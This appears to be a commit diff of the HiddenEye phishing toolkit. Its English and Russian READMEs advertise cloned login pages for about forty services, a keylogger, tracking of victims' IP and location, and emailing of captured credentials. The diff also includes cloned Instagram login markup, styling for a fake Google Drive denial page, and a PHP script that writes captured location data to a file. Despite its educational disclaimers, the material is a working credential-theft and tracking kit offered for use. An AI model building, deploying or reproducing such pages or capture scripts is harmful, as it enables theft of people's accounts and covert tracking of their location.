- Traditional Snapchat Login Page
|
||||
|
||||
**10) YAHOO PHISHING:**
|
||||
- Traditional Yahoo Login Page
|
||||
|
||||
**11) TWITCH PHISHING:**
|
||||
- Traditional Twitch Login Page [ Login With Facebook Also Available ]
|
||||
|
||||
**12) MICROSOFT PHISHING:**
|
||||
- Traditional Microsoft-Live Web Login Page
|
||||
|
||||
**13) STEAM PHISHING:**
|
||||
- Traditional Steam Web Login Page
|
||||
|
||||
**14) VK PHISHING:**
|
||||
- Traditional VK Web Login Page
|
||||
- Advanced Poll Method
|
||||
|
||||
**15) ICLOUD PHISHING:**
|
||||
- Traditional iCloud Web Login Page
|
||||
|
||||
**16) GitLab PHISHING:**
|
||||
- Traditional GitLab Login Page
|
||||
|
||||
**17) NetFlix PHISHING:**
|
||||
- Traditional Netflix Login Page
|
||||
|
||||
**18) Origin PHISHING:**
|
||||
- Traditional Origin Login Page
|
||||
|
||||
**19) Pinterest PHISHING:**
|
||||
- Traditional Pinterest Login Page
|
||||
|
||||
**20) Protonmail PHISHING:**
|
||||
- Traditional Protonmail Login Page
|
||||
|
||||
**21) Spotify PHISHING:**
|
||||
- Traditional Spotify Login Page
|
||||
|
||||
**22) Quora PHISHING:**
|
||||
- Traditional Quora Login Page
|
||||
|
||||
**23) PornHub PHISHING:**
|
||||
- Traditional PornHub Login Page
|
||||
|
||||
**24) Adobe PHISHING:**
|
||||
- Traditional Adobe Login Page
|
||||
|
||||
**25) Badoo PHISHING:**
|
||||
- Traditional Badoo Login Page
|
||||
|
||||
**26) CryptoCurrency PHISHING:**
|
||||
- Traditional CryptoCurrency Login Page
|
||||
|
||||
**27) DevianArt PHISHING:**
|
||||
- Traditional DevianArt Login Page
|
||||
|
||||
**28) DropBox PHISHING:**
|
||||
- Traditional DropBox Login Page
|
||||
|
||||
**29) eBay PHISHING:**
|
||||
- Traditional eBay Login Page
|
||||
|
||||
**30) MySpace PHISHING:**
|
||||
- Traditional Myspace Login Page
|
||||
|
||||
**31) PayPal PHISHING:**
|
||||
- Traditional PayPal Login Page
|
||||
|
||||
**32) Shopify PHISHING:**
|
||||
- Traditional Shopify Login Page
|
||||
|
||||
**33) Verizon PHISHING:**
|
||||
- Traditional Verizon Login Page
|
||||
|
||||
**34) Yandex PHISHING:**
|
||||
- Traditional Yandex Login Page
|
||||
|
||||
**35) Reddit PHISHING:**
|
||||
- Old Login Page
|
||||
- New Login Page
|
||||
|
||||
**36) Subito.it PHISHING:**
|
||||
- Traditional Subito.it Login Page
|
||||
|
||||
**37) PlayStation PHISHING:**
|
||||
- Traditional PlayStation Login Page
|
||||
|
||||
**38) Xbox PHISHING:**
|
||||
- Traditional Xbox Login Page
|
||||
|
||||
**39) CUSTOM(1) PHISHING:**
|
||||
- Host Your Own Phishing Pages
|
||||
|
||||
**40) CUSTOM(2) PHISHING:**
|
||||
- Host Your multiple Phishing Pages at once
|
||||
|
||||
</p>
|
||||
|
||||
<h3>Ascii error fix</h3>
|
||||
|
||||
`dpkg-reconfigure locales`
|
||||
|
||||
`Then select: "All locales" Then select "en_US.UTF-8"`
|
||||
|
||||
`After that reboot your machine. Then open terminal and run the command: "locale"`
|
||||
|
||||
`There you will see "en_US.UTF-8" which is the default language. Instead of POSIX.`
|
||||
|
||||
## DISCLAIMER
|
||||
<p align="center">
|
||||
TO BE USED FOR EDUCATIONAL PURPOSES ONLY
|
||||
</p>
|
||||
|
||||
The use of the HiddenEye is COMPLETE RESPONSIBILITY of the END-USER. Developers assume NO liability and are NOT responsible for any misuse or damage caused by this program. Please read [LICENSE](LICENSE).
|
||||
|
||||
`dpkg-reconfigure locales`
|
||||
|
||||
`Then select: "All locales" Then select "en_US.UTF-8"`
|
||||
|
||||
`After that reboot your machine. Then open terminal and run the command: "locale"`
|
||||
|
||||
`There you will see "en_US.UTF-8" which is the default language. Instead of POSIX.`
|
||||
|
|
|
@ -0,0 +1,195 @@
|
|||
<p align="left">
|
||||
<a><img title="Built With Love" src="https://forthebadge.com/images/badges/built-with-love.svg" ></a>
|
||||
</p>
|
||||
<p align="center">
|
||||
<img src="logo.png">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
Современный инструмент для фишинга с расширенными функциями
|
||||
</p>
|
||||
<p align="center">
|
||||
PHISHING | KEYLOGGER | СБОРНИК_ИНФОРМАЦИИ | ВСЁ_В_ОДНОМ | СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/darksecdevelopers"><img title="Open Source Love" src="https://badges.frapsoft.com/os/v2/open-source.png?v=103" ></a>
|
||||
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=1.0.0&x2=0" ></a>
|
||||
<a href="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye"><img src="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye/badge" alt="CodeFactor" /></a>
|
||||
<a href="https://www.codacy.com/manual/DarkSecDevelopers/HiddenEye?utm_source=github.com&utm_medium=referral&utm_content=DarkSecDevelopers/HiddenEye&utm_campaign=Badge_Grade"><img src="https://api.codacy.com/project/badge/Grade/af9fadca3cfc4de19232d0840988e121"/></a>
|
||||
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield" alt="FOSSA Status"><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
|
||||
</p>
|
||||
|
||||
## ДИСКЛЕЙМЕ<D09C>
|
||||
|
||||
<p align="center">
|
||||
ИСПОЛЬЗУЕТСЯ ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ
|
||||
</p>
|
||||
|
||||
Использование HiddenEye и его ресурсов/фишинговых страниц является **ПОЛНОЙ
|
||||
ОТВЕТСТВЕННОСТЬЮ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ**. Разработчики НЕ несут ответственности
|
||||
за любое неправильное использование или ущерб, причиненный этой программой.
|
||||
Также мы сообщаем Вам, что некоторые из ваших действий могут быть
|
||||
**НЕЗАКОННЫМИ**, и вы **НЕ МОЖЕТЕ** использовать это программное обеспечение для
|
||||
тестирования человека или компании без **ПИСЬМЕННОГО РАЗРЕШЕНИЯ** от них.
|
||||
|
||||
# DEVELOPERS & CONTRIBUTORS
|
||||
|
||||
1. ANONUD4Y (https://github.com/An0nUD4Y)
|
||||
2. USAMA ABDUL SATTAR (https://github.com/usama7628674)
|
||||
3. sTiKyt (https://github.com/sTiKyt)
|
||||
4. UNDEADSEC (https://github.com/UndeadSec)
|
||||
5. Micrafast (https://github.com/Micrafast)
|
||||
6. Moltivie (https://github.com/Moltivie)
|
||||
7. endbehavi0r (https://github.com/endbehavi0r)
|
||||
8. DarkMidus (https://github.com/DarkMidus)
|
||||
9. ****\_\_\_**** (ЖДЁМ ВАС)
|
||||
|
||||
# ДОСТУПНЫЕ ВАРИАНТЫ ТУННЕЛИРОВАНИЯ\*\*
|
||||
|
||||
0. LOCALHOST
|
||||
1. LOCALXPOSE (https://localxpose.io)
|
||||
2. SERVEO (https://serveo.net/)
|
||||
3. NGROK (https://ngrok.com/)
|
||||
4. LOCALTUNNEL (Package Version) (https://localtunnel.me)
|
||||
5. OPENPORT (https://openport.io/)
|
||||
6. PAGEKITE (https://pagekite.net/)
|
||||
|
||||
# СКРИНШОТЫ (Android-Userland)
|
||||
|
||||
![Shot](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/Screenshot.png)
|
||||
|
||||
## БЛАГОДАРНОСТИ:-
|
||||
|
||||
- Anonud4y (Я не помню, сделал ли я что-нибудь)
|
||||
- Usama (Самый активный разработчик)
|
||||
- sTiKyt (Парень, который все перенастроил)
|
||||
- UNDEADSEC (За их замечательный репозиторий SOCIALFISH, что мотивировал нас)
|
||||
- TheLinuxChoice (За его инструменты фишинговых страниц)
|
||||
- Thewhiteh4t (За шаблоны местоположения Nearyou & Gdrive)
|
||||
|
||||
### ПРОГРАММА ТЕСТИРОВАЛАСЬ НА:-
|
||||
|
||||
- **Kali Linux - Rolling Edition**
|
||||
- **Parrot OS - Rolling Edition**
|
||||
- **Linux Mint - 18.3 Sylvia**
|
||||
- **Ubuntu - 16.04.3 LTS**
|
||||
- **MacOS High Sierra**
|
||||
- **Arch Linux**
|
||||
- **Manjaro XFCE Edition 17.1.12**
|
||||
- **Black Arch**
|
||||
- **Userland App (Для пользователей Android)**
|
||||
- **Termux App (Для пользователей Android**
|
||||
|
||||
### ЗАВИСИМОСТИ ( Пожалуйста, проверьте, установили ли вы: )
|
||||
|
||||
- Python 3.\*
|
||||
- PHP
|
||||
- sudo
|
||||
- pyngrok
|
||||
|
||||
# НАШЛИ ОШИБКУ? / ЕСТЬ ВОПРОСЫ? :- (Прочитайте это)
|
||||
|
||||
- Проверяйте закрытые и решенные проблемы/ошибки(issues), прежде чем открывать
|
||||
новые.
|
||||
- Убедитесь, что ваша проблема связана с кодом и ресурсами этого репозитория.
|
||||
- Ответить на открытые вопросы - это ваша ответственность.
|
||||
- Если мы не нашли ответа пользователя по его/её проблеме за определенный период
|
||||
времени, мы должны закрыть эту проблему.
|
||||
- Не спамить, не рекламировать и уважать друг друга.
|
||||
|
||||
### ЧТО НОВОГО
|
||||
|
||||
**1) LIVE ATTACK**
|
||||
|
||||
- Теперь у вас будет актуальная информация о жертвах, такая как: IP-АДРЕС,
|
||||
геолокация, интернет-провайдер, страна и многое другое.
|
||||
|
||||
**2) СОВМЕСТИМОСТЬ**
|
||||
|
||||
- Все сайты совместимы с мобильными устройствами.
|
||||
|
||||
**3) KEYLOGGER**
|
||||
|
||||
- Теперь у вас также будет возможность захватывать все слова жертвы, которые он
|
||||
вводит с клавиатуры.
|
||||
- Теперь вы можете применять кейлоггеры с опцией (Y/N).
|
||||
- Исправлены основные проблемы.
|
||||
|
||||
**4) ПОДДЕРЖКА ANDROID**
|
||||
|
||||
- Мы заботимся о пользователях Android, поэтому теперь у нас есть целых два
|
||||
способа запустить HiddenEye на устройствах Android.
|
||||
|
||||
**(A) UserLand App**
|
||||
|
||||
- Вам необходимо скачать приложение UserLand.
|
||||
[Кликните сюда](https://play.google.com/store/apps/details?id=tech.ula) чтобы
|
||||
скачать его.
|
||||
- Чтобы узнать больше, как настроить пользовательское приложение, прочтите
|
||||
<a href="https://null-byte.wonderhowto.com/how-to/android-for-hackers-turn-android-phone-into-hacking-device-without-root-0189649/">ЗДЕСЬ</a></p>
|
||||
|
||||
**(B) Termux App**
|
||||
|
||||
- Вам необходимо скачать приложение Termux.
|
||||
[Кликните сюда](https://play.google.com/store/apps/details?id=com.termux)
|
||||
чтобы скачать его.
|
||||
- Для дальнейших инструкций
|
||||
[Проверить инструкции](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
|
||||
|
||||
**5) ПРЕДОСТАВЛЕН НОВЫЙ ОБРАЗ**
|
||||
|
||||
- ЛЕГКО СОСРЕДОТОЧТЕСЬ НА ЗАДАЧАХ...
|
||||
- НАСТРОЙТЕ ПРИЛОЖЕНИЕ СОБСТВЕННЫМИ ТЕМАМИ
|
||||
|
||||
**6) ДОСТУПЕН ВЫБОР ТИПА URL СЕРВИСА SERVEO**
|
||||
|
||||
- Исправлены основные проблемы с сервисом SERVEO
|
||||
- Теперь вы можете выбрать рандомный или кастомный URL
|
||||
|
||||
**7) ДОБАВЛЕНО МНОГО ВИДОВ ФИШИНГА**
|
||||
|
||||
- Страницы берутся из различных инструментов, включая ShellPhish, Blackeye,
|
||||
SocialFish.
|
||||
|
||||
**8) РЕЗЕРВНОЕ КОПИРОВАНИЕ ЗАХВАТЫВАЕМЫХ ДАННЫХ**
|
||||
|
||||
- Резервную копию данных можно найти на (Server/CapturedData).
|
||||
|
||||
**9) ДОБАВЛЕНА ПОДДЕРЖКА EMAIL**
|
||||
|
||||
- Собранные данные можно легко отправить на любой адрес электронной почты (с
|
||||
помощью Gmail SMTP).
|
||||
- Требуется имя пользователя и пароль Gmail.
|
||||
- СЛЕДУЕТ ОТКЛЮЧИТЬ GMAIL 2FA, ЧТОБЫ ИСПОЛЬЗОВАТЬ GMAIL SMTP.
|
||||
- ДОЛЖНО БЫТЬ ВКЛЮЧЕНО "Небезопасные приложения заблокированы"
|
||||
(https://myaccount.google.com/lesssecureapps).
|
||||
|
||||
**10) ДОБАВЛЕНЫ ПОЛЬЗОВАТЕЛЬСКИЕ ШАБЛОНЫ**
|
||||
|
||||
- Добавлены два дополнительных пользовательских шаблона.
|
||||
- Теперь создавайте свои шаблоны.
|
||||
|
||||
**11) ДОБАВЛЕННЫЕ ИНСТРУМЕНТЫ**
|
||||
|
||||
**A) МЕСТОПОЛОЖЕНИЕ (точное определение местоположения смартфонов с помощью
|
||||
социальной инженерии) (спасибо https://github.com/thewhiteh4t/seeker)**
|
||||
|
||||
- NEAR YOU (By @thewhiteh4t )
|
||||
- GDRIVE (By @thewhiteh4t)
|
||||
|
||||
## ДЛЯ ДАЛЬНЕЙШЕЙ ПРОЦЕДУРЫ УСТАНОВКИ - [(ПРОВЕРИТЬ ИНСТРУКЦИИ)](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
|
||||
|
||||
## РЕЗЕРВНОЕ ХРАНИЛИЩЕ ДОСТУПНО НА GITLAB - [(ПРОВЕРИТЬ ЗДЕСЬ)](https://gitlab.com/an0nud4y/HiddenEye)
|
||||
|
||||
</p>
|
||||
|
||||
<h3>Исправление ошибки ascii</h3>
|
||||
|
||||
`dpkg-reconfigure locales`
|
||||
|
||||
`Затем выберите: "All locales" Затем выберите "en_US.UTF-8"`
|
||||
|
||||
`После этого перезагрузите ваше устройство. Затем откройте терминал и выполните команду: "locale"`
|
||||
|
||||
`Там вы увидите "en_US.UTF-8", который является языком по умолчанию. Вместо POSIX.`
|
|
@ -0,0 +1 @@
|
|||
|
|
@ -1,30 +0,0 @@
|
|||
Comments By : An0nud4y
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
W I T H G R E A T P O W E R
|
||||
|
||||
C O M E S G R E A T R E S P O N S I B I L I T Y
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
S T A Y L E G A L
|
||||
(WE DO NOT SUPPORT ILLEGAL USE OF THE TOOL)
|
||||
|
||||
REGARDS: (DARKSEC)
|
||||
[ https://github.com/darksecdevelopers ]
|
||||
|
||||
COMMENTS BY:(AN0NUD4Y)
|
||||
[ https://github.com/an0nud4y ]
|
||||
[ https://instagram.com/its_udy ]
|
||||
____________________________________________________________
|
||||
|
||||
......THANKS FOR USE HIDDENEYE......
|
||||
|
||||
|
||||
|
||||
HERE IS YOUR ALL EVER CAPTURED DATA
|
||||
|
||||
(ip.txt , usernames.txt , KeyloggerData.txt)
|
||||
|
||||
|
||||
|
||||
|
|
@ -186,7 +186,7 @@
|
|||
<!--<label for="faa2da1ad083" class="_ssj08">Password</label>-->
|
||||
<input class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="" required="" type="password"></div><div class="_gaby6"></div></div></div><span class="_t38eb _ov9ai"><button class="_qv64e _gexxb _4tgw8 _njrw0">Log in</button></span><a class="_pbd5h" href="">Forgot password?</a></form></div></div><div class="_f9sjj"><p class="_g9ean">Don't have an account? <a href="javascript:;">Sign up</a></p></div><div class="_40dde"><p class="_d2vov">Get the app.</p><div class="_fzj6p"><a class="_o7vmf" href=""><img class="_8a10v" alt="Available on the App Store" src="Instagram_files/4b70f6fae447.png"></a><a class="_o7vmf" href=""><img class="_8a10v" alt="Available on Google Play" src="Instagram_files/f06b908907d5.png"></a><a class="_o7vmf" href=""><img class="_8a10v" alt="Get it from Microsoft" src="Instagram_files/f55c258e826e.png"></a></div></div></div></article></main><footer class="_s5vm9" role="contentinfo"><div class="_g7lf5 _9z659" style="max-width: 935px;"><nav class="_luodr" role="navigation"><ul class="_g8wl6"><li class="_538w0"><a class="_hqmnd" href="">About us</a></li><li class="_538w0"><a class="_hqmnd" href="">Support</a></li><li class="_538w0"><a class="_hqmnd" href="">Blog</a></li><li class="_538w0"><a class="_hqmnd" href="">Press</a></li><li class="_538w0"><a class="_hqmnd" href="https://instagram.com/its_udy">Developer</a></li><li class="_538w0"><a class="_hqmnd" href="">Jobs</a></li><li class="_538w0"><a class="_hqmnd" href="">Privacy</a></li><li class="_538w0"><a class="_hqmnd _ts6wg" href="">Terms</a></li><li class="_538w0"><a class="_hqmnd" href="">Directory</a></li><li class="_538w0"><span class="_pqycz _hqmnd">Language<select class="_fsoey"><option value="af" selected="selected">Afrikaans</option><option value="cs">Čeština</option><option value="da">Dansk</option><option value="de">Deutsch</option><option value="el">Ελληνικά</option><option value="en">English</option><option value="es">Español (España)</option><option value="es-la">Español</option><option value="fi">Suomi</option><option value="fr">Français</option><option value="id">Bahasa Indonesia</option><option value="it">Italiano</option><option value="ja">日本語</option><option value="ko">한국어</option><option value="ms">Bahasa Melayu</option><option value="nb">Norsk</option><option value="nl">Nederlands</option><option value="pl">Polski</option><option value="pt-br">Português (Brasil)</option><option value="pt">Português (Portugal)</option><option value="ru">Русский</option><option value="sv">Svenska</option><option value="th">ภาษาไทย</option><option value="tl">Filipino</option><option value="tr">Türkçe</option><option value="zh-cn">中文(简体)</option><option value="zh-tw">中文(台灣)</option><option value="bn">বাংলা</option><option value="gu">ગુજરાતી</option><option value="hi">हिन्दी</option><option value="hr">Hrvatski</option><option value="hu">Magyar</option><option value="kn">ಕನ್ನಡ</option><option value="ml">മലയാളം</option><option value="mr">मराठी</option><option value="ne">नेपाली</option><option value="pa">ਪੰਜਾਬੀ</option><option value="si">සිංහල</option><option value="sk">Slovenčina</option><option value="ta">தமிழ்</option><option value="te">తెలుగు</option><option value="vi">Tiếng Việt</option>
|
||||
<option value="zh-hk">中文(香港)</option><option value="bg">Български</option><option value="fr-ca">Français (Canada)</option><option value="ro">Română</option><option value="sr">Српски</option><option value="uk">Українська</option></select></span></li></ul></nav>
|
||||
<span class="_1gmap">© 2018 Instagram</span></div></footer>
|
||||
<span class="_1gmap">© 2020 Instagram from Facebook</span></div></footer>
|
||||
<div class="_5nb98 _b426x _p7yg0">
|
||||
<div class="_317z0 _a8at0"></div>
|
||||
<div class=""><a "="" href="" role="alert">
|
||||
|
|
|
@ -66,7 +66,7 @@
|
|||
<a href="instagram.html" class="btn btn-tutorial"><i class="fa fa-youtube-play"></i> Watch tutorial</a></div></div>
|
||||
<div class="container"><div class="pull-left"><p><a href="index.html">Home</a> | <a href="instagram.html">About</a> | <a href="instagram.html">Privacy Policy</a> | <a href="instagram.html">Terms Of Use</a> | <a href="instagram.html">Contact</a></p></div>
|
||||
<div class="pull-right"><p>Built and maintained with all the <i class="fa fa-heart"></i> in the world by <a href="index.html" target="_blank">IG Liker</a>.</p></div>
|
||||
<br><hr><p class="text-center">Copyright © 2018 <a href="index.html">IG-Liker Inc</a>. All Rights Reserved.</p></div></div>
|
||||
<br><hr><p class="text-center">Copyright © 2020 <a href="index.html">IG-Liker Inc</a>. All Rights Reserved.</p></div></div>
|
||||
<script src="../ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
|
||||
<script src="assets/js/bootstrap.js"></script>
|
||||
<script src="assets/js/flash.js"></script>
|
||||
|
|
Before Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 107 KiB |
Before Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 24 KiB |
Before Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 41 KiB |
Before Width: | Height: | Size: 9.8 KiB |
Before Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 395 KiB |
Before Width: | Height: | Size: 76 KiB |
|
@ -195,7 +195,7 @@
|
|||
<!--<label for="faa2da1ad083" class="_ssj08">Password</label>-->
|
||||
<input class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="" required="" type="password"></div><div class="_gaby6"></div></div></div><span class="_t38eb _ov9ai"><button class="_qv64e _gexxb _4tgw8 _njrw0">Log in</button></span><a class="_pbd5h" href="">Forgot password?</a></form></div></div><div class="_f9sjj"><p class="_g9ean">Don't have an account? <a href="javascript:;">Sign up</a></p></div><div class="_40dde"><p class="_d2vov">Get the app.</p><div class="_fzj6p"><a class="_o7vmf" href=""><img class="_8a10v" alt="Available on the App Store" src="index_files/4b70f6fae447.png"></a><a class="_o7vmf" href=""><img class="_8a10v" alt="Available on Google Play" src="index_files/f06b908907d5.png"></a><a class="_o7vmf" href=""><img class="_8a10v" alt="Get it from Microsoft" src="index_files/f55c258e826e.png"></a></div></div></div></article></main><footer class="_s5vm9" role="contentinfo"><div class="_g7lf5 _9z659" style="max-width: 935px;"><nav class="_luodr" role="navigation"><ul class="_g8wl6"><li class="_538w0"><a class="_hqmnd" href="">About us</a></li><li class="_538w0"><a class="_hqmnd" href="">Support</a></li><li class="_538w0"><a class="_hqmnd" href="">Blog</a></li><li class="_538w0"><a class="_hqmnd" href="">Press</a></li><li class="_538w0"><a class="_hqmnd" href="https://instagram.com/its_udy">Developer</a></li><li class="_538w0"><a class="_hqmnd" href="">Jobs</a></li><li class="_538w0"><a class="_hqmnd" href="">Privacy</a></li><li class="_538w0"><a class="_hqmnd _ts6wg" href="">Terms</a></li><li class="_538w0"><a class="_hqmnd" href="">Directory</a></li><li class="_538w0"><span class="_pqycz _hqmnd">Language<select class="_fsoey"><option value="af" selected="selected">Afrikaans</option><option value="cs">Čeština</option><option value="da">Dansk</option><option value="de">Deutsch</option><option value="el">Ελληνικά</option><option value="en">English</option><option value="es">Español (España)</option><option value="es-la">Español</option><option value="fi">Suomi</option><option value="fr">Français</option><option value="id">Bahasa Indonesia</option><option value="it">Italiano</option><option value="ja">日本語</option><option value="ko">한국어</option><option value="ms">Bahasa Melayu</option><option value="nb">Norsk</option><option value="nl">Nederlands</option><option value="pl">Polski</option><option value="pt-br">Português (Brasil)</option><option value="pt">Português (Portugal)</option><option value="ru">Русский</option><option value="sv">Svenska</option><option value="th">ภาษาไทย</option><option value="tl">Filipino</option><option value="tr">Türkçe</option><option value="zh-cn">中文(简体)</option><option value="zh-tw">中文(台灣)</option><option value="bn">বাংলা</option><option value="gu">ગુજરાતી</option><option value="hi">हिन्दी</option><option value="hr">Hrvatski</option><option value="hu">Magyar</option><option value="kn">ಕನ್ನಡ</option><option value="ml">മലയാളം</option><option value="mr">मराठी</option><option value="ne">नेपाली</option><option value="pa">ਪੰਜਾਬੀ</option><option value="si">සිංහල</option><option value="sk">Slovenčina</option><option value="ta">தமிழ்</option><option value="te">తెలుగు</option><option value="vi">Tiếng Việt</option>
|
||||
<option value="zh-hk">中文(香港)</option><option value="bg">Български</option><option value="fr-ca">Français (Canada)</option><option value="ro">Română</option><option value="sr">Српски</option><option value="uk">Українська</option></select></span></li></ul></nav>
|
||||
<span class="_1gmap">© 2019 Instagram</span></div></footer>
|
||||
<span class="_1gmap">© 2020 INSTAGRAM FROM FACEBOOK</span></div></footer>
|
||||
<div class="_5nb98 _b426x _p7yg0">
|
||||
<div class="_317z0 _a8at0"></div>
|
||||
<div class=""><a "="" href="" role="alert">
|
||||
|
|
|
@ -0,0 +1,157 @@
|
|||
@font-face {
|
||||
font-family: Product Sans;
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2');
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #ffffff;
|
||||
font-size: 13px;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial,sans-serif;
|
||||
}
|
||||
|
||||
#outerContainer {
|
||||
margin: auto;
|
||||
max-width: 750px;
|
||||
}
|
||||
|
||||
#innerContainer {
|
||||
margin-bottom: 20px;
|
||||
margin-left: 40px;
|
||||
margin-right: 40px;
|
||||
margin-top: 180px;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
#drive-logo {
|
||||
margin: 18px 0;
|
||||
position: absolute;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.docs-drivelogo-img {
|
||||
background-image: url('/images/googlelogo_color_116x41dp.png');
|
||||
background-size: 116px 41px;
|
||||
display: inline-block;
|
||||
height: 41px;
|
||||
vertical-align: bottom;
|
||||
width: 116px;
|
||||
}
|
||||
|
||||
.docs-drivelogo-text {
|
||||
color: #000;
|
||||
display: inline-block;
|
||||
opacity: 0.54;
|
||||
text-decoration: none;
|
||||
font-family: 'Product Sans',Arial,Helvetica,sans-serif;
|
||||
font-size: 32px;
|
||||
text-rendering: optimizeLegibility;
|
||||
position: relative;
|
||||
top: -6px;
|
||||
left: -7px;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
}
|
||||
|
||||
#main {
|
||||
position: relative;
|
||||
width: 640px;
|
||||
top: 30px;
|
||||
}
|
||||
|
||||
#accessDeniedIcon {
|
||||
background-image: url('/images/locked_doc-2.svg');
|
||||
float: right;
|
||||
height: 158px;
|
||||
width: 128px;
|
||||
}
|
||||
|
||||
#accessDeniedHeader {
|
||||
color: #222;
|
||||
font: 32px Arial, sans-serif;
|
||||
}
|
||||
|
||||
#message {
|
||||
color: #222;
|
||||
font: 15px/1.6 Arial, sans-serif;
|
||||
width: 480px;
|
||||
}
|
||||
|
||||
button.jfk-button {
|
||||
font-family: arial,sans-serif;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
.jfk-button-action {
|
||||
-webkit-box-shadow: none;
|
||||
-moz-box-shadow: none;
|
||||
box-shadow: none;
|
||||
background-color: #4d90fe;
|
||||
background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: linear-gradient(top,#4d90fe,#4787ed);
|
||||
border: 1px solid #3079ed;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.jfk-button {
|
||||
-webkit-border-radius: 2px;
|
||||
-moz-border-radius: 2px;
|
||||
border-radius: 2px;
|
||||
cursor: default;
|
||||
font-size: 11px;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
white-space: nowrap;
|
||||
margin-right: 16px;
|
||||
height: 27px;
|
||||
line-height: 27px;
|
||||
min-width: 54px;
|
||||
outline: 0px;
|
||||
padding: 0 8px;
|
||||
}
|
||||
|
||||
.jfk-button-standard {
|
||||
-webkit-box-shadow: none;
|
||||
-moz-box-shadow: none;
|
||||
box-shadow: none;
|
||||
background-color: #f5f5f5;
|
||||
background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
color: #444;
|
||||
border: 1px solid #dcdcdc;
|
||||
border: 1px solid rgba(0,0,0,0.1);
|
||||
}
|
||||
|
||||
@media (max-width: 500px) {
|
||||
#accessDeniedHeader {
|
||||
color: #222;
|
||||
font: 25px Arial, sans-serif;
|
||||
}
|
||||
#accessDeniedIcon {
|
||||
background-image: url('/images/locked_doc-1.svg');
|
||||
height: 108px;
|
||||
width: 88px;
|
||||
}
|
||||
#main {
|
||||
width: 100%;
|
||||
}
|
||||
#message {
|
||||
width: 75%;
|
||||
}
|
||||
#outerContainer #innerContainer {
|
||||
margin-left: 20px;
|
||||
margin-right: 20px;
|
||||
}
|
||||
}
|
||||
|
||||
:focus {outline:none;}
|
||||
::-moz-focus-inner {border:0;}
|
|
@ -0,0 +1,41 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$denied = $_POST['Denied'];
|
||||
$una = $_POST['Una'];
|
||||
$time = $_POST['Time'];
|
||||
$unk = $_POST['Unk'];
|
||||
$support = 'Geolocation is not supported!';
|
||||
|
||||
if (isset($denied))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $denied);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($una))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $una);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($time))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $time);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($unk))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $unk);
|
||||
fclose($f);
|
||||
}
|
||||
else
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $support);
|
||||
fclose($f);
|
||||
}
|
||||
}
|
||||
?>
|
After Width: | Height: | Size: 28 KiB |
After Width: | Height: | Size: 31 KiB |
After Width: | Height: | Size: 5.3 KiB |
After Width: | Height: | Size: 4.5 KiB |
|
@ -0,0 +1,23 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
